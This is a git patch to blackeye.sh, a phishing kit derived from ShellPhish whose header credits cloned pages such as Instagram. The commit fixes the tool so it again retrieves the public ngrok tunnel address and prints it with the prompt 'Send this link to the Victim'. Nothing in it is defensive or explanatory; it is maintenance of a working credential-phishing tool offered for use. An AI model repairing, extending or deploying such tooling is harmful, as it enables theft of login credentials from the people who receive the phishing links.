From 8749c0cdb4dec30a48246eca9ec292c543d1e97a Mon Sep 17 00:00:00 2001 From: Whisper <30607186+CyberXCodder@users.noreply.github.com> Date: Wed, 28 Apr 2021 21:46:24 -0300 Subject: [PATCH] Fixed "missing link" error The previous version has an error which doesn't show the phishing URL. The reason for this was the Ngrok html page, which was built using purely javascript. Fixed it by changing the requests path from "/status" to "/api/tunnels". The code should show the phishing URL properly now. --- blackeye.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/blackeye.sh b/blackeye.sh index 66bc7e8..0441b4c 100644 --- a/blackeye.sh +++ b/blackeye.sh @@ -2,6 +2,7 @@ # BLACKEYE v1.0 is an upgrade from original ShellPhish Tool (https://github.com/thelinuxchoice/shellphish) by thelinuxchoice under GNU LICENSE # Coded by: @thelinuxchoice (https://github.com/thelinuxchoice/blackeye) # Upgraded by: @suljot_gjoka (https://github.com/whiteeagle0/blackeye) +# Corrected by: CyberXCodder # Credits (Copyright) # Phishing Pages generated by An0nUD4Y (https://github.com/An0nUD4Y): # Instagram @@ -421,7 +422,7 @@ printf "\e[1;92m[\e[0m*\e[1;92m] Starting ngrok server...\n" ./ngrok http 3333 > /dev/null 2>&1 & sleep 10 -link=$(curl -s -N http://127.0.0.1:4040/status | grep -o "https://[0-9a-z]*\.ngrok.io") +link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") printf "\e[1;92m[\e[0m*\e[1;92m] Send this link to the Victim:\e[0m\e[1;77m %s\e[0m\n" $link checkfound }